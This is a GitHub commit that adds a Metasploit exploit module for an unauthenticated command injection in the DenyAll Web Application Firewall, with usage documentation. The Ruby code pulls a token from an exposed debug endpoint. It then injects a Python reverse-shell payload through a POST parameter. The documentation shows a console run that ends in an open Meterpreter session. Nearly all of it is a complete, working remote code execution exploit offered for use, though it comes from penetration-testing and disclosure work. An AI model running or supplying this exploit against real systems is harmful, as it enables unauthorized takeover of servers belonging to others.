Skip to content

Commit ee969ae

Browse files
committed
Adding DenyAll RCE module
1 parent d967ce4 commit ee969ae

File tree

2 files changed

+139
-0
lines changed

2 files changed

+139
-0
lines changed
Lines changed: 37 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
## Vulnerable Application
2+
3+
This module exploits the command injection vulnerability of DenyAll Web Application Firewall. Unauthenticated user can execute a terminal command under the context of the web server user.
4+
5+
**Vulnerable Application Installation Steps**
6+
7+
It's possible to have trial demo for 15 days at Amazon Marketplace.
8+
[https://aws.amazon.com/marketplace/pp/B01N4Q0INA?qid=1505806897911](https://aws.amazon.com/marketplace/pp/B01N4Q0INA?qid=1505806897911)
9+
10+
You just need to follow instruction above URL.
11+
12+
## Verification Steps
13+
14+
A successful check of the exploit will look like this:
15+
16+
```
17+
msf > use exploit/linux/http/denyall_exec
18+
msf exploit(denyall_exec) >
19+
msf exploit(denyall_exec) > set RHOST 35.176.123.128
20+
RHOST => 35.176.123.128
21+
msf exploit(denyall_exec) > set LHOST 35.12.3.3
22+
LHOST => 35.12.3.3
23+
msf exploit(denyall_exec) > check
24+
[*] 35.176.123.128:3001 The target appears to be vulnerable.
25+
msf exploit(denyall_exec) > exploit
26+
27+
[*] Started reverse TCP handler on 35.12.3.3:4444
28+
[*] Extracting iToken value from unauthenticated accessible endpoint.
29+
[+] Awesome. iToken value = n84b214ad1f53df0bd6ffa3dcfe8059a
30+
[*] Trigerring command injection vulnerability with iToken value.
31+
[*] Sending stage (40411 bytes) to 35.176.123.128
32+
[*] Meterpreter session 1 opened (35.176.123.128:4444 -> 35.12.3.3:60556) at 2017-09-19 14:31:52 +0300
33+
34+
meterpreter > pwd
35+
/var/log/denyall/reverseproxy
36+
meterpreter >
37+
```
Lines changed: 102 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,102 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
11+
def initialize(info={})
12+
super(update_info(info,
13+
'Name' => "DenyAll Web Application Firewall Remote Code Execution",
14+
'Description' => %q{
15+
This module exploits the command injection vulnerability of DenyAll Web Application Firewall. Unauthenticated user can execute a
16+
terminal command under the context of the web server user.
17+
},
18+
'License' => MSF_LICENSE,
19+
'Author' =>
20+
[
21+
'Mehmet Ince <[email protected]>' # author & msf module
22+
],
23+
'References' =>
24+
[
25+
['URL', 'https://pentest.blog/advisory-denyall-web-application-firewall-unauthenticated-remote-code-execution/']
26+
],
27+
'DefaultOptions' =>
28+
{
29+
'SSL' => true,
30+
'RPORT' => 3001,
31+
'Payload' => 'python/meterpreter/reverse_tcp'
32+
},
33+
'Platform' => ['python'],
34+
'Arch' => ARCH_PYTHON,
35+
'Targets' => [[ 'Automatic', { }]],
36+
'Privileged' => false,
37+
'DisclosureDate' => "Sep 19 2017",
38+
'DefaultTarget' => 0
39+
))
40+
41+
register_options(
42+
[
43+
OptString.new('TARGETURI', [true, 'The URI of the vulnerable Denyall WAF', '/'])
44+
]
45+
)
46+
end
47+
48+
def check
49+
# Get iToken from unauthenticated accessible endpoint
50+
res = send_request_cgi({
51+
'method' => 'GET',
52+
'uri' => normalize_uri(target_uri.path, 'webservices', 'download', 'index.php'),
53+
'vars_get' => {
54+
'applianceUid' => "LOCALUID",
55+
'typeOf' => "debug"
56+
}
57+
})
58+
59+
if res && res.code == 200 && res.body.include?("iToken")
60+
return Exploit::CheckCode::Appears
61+
else
62+
return Exploit::CheckCode::Safe
63+
end
64+
end
65+
66+
def exploit
67+
print_status("Extracting iToken value from unauthenticated accessible endpoint.")
68+
# Get iToken from unauthenticated accessible endpoint
69+
res = send_request_cgi({
70+
'method' => 'GET',
71+
'uri' => normalize_uri(target_uri.path, 'webservices', 'download', 'index.php'),
72+
'vars_get' => {
73+
'applianceUid' => "LOCALUID",
74+
'typeOf' => "debug"
75+
}
76+
})
77+
78+
if res && res.code == 200 && res.body.include?("iToken")
79+
iToken = res.body.scan(/"iToken";s:32:"([a-z][a-f0-9]{31})";/).flatten[0]
80+
print_good("Awesome. iToken value = #{iToken}")
81+
else
82+
fail_with(Failure::Unknown, "Didn't receive response from target server.")
83+
end
84+
85+
# Accessing to the vulnerable endpoint with valid iToken
86+
print_status("Trigerring command injection vulnerability with iToken value.")
87+
88+
r = rand_text_alpha(5 + rand(3));
89+
90+
send_request_cgi({
91+
'method' => 'POST',
92+
'uri' => normalize_uri(target_uri.path, 'webservices', 'stream', 'tail.php'),
93+
'vars_post' => {
94+
'iToken' => iToken,
95+
'tag' => "tunnel",
96+
'stime' => r,
97+
'type' => "#{r}$(python -c \"#{payload.encoded}\")"
98+
}
99+
})
100+
101+
end
102+
end

0 commit comments

Comments
 (0)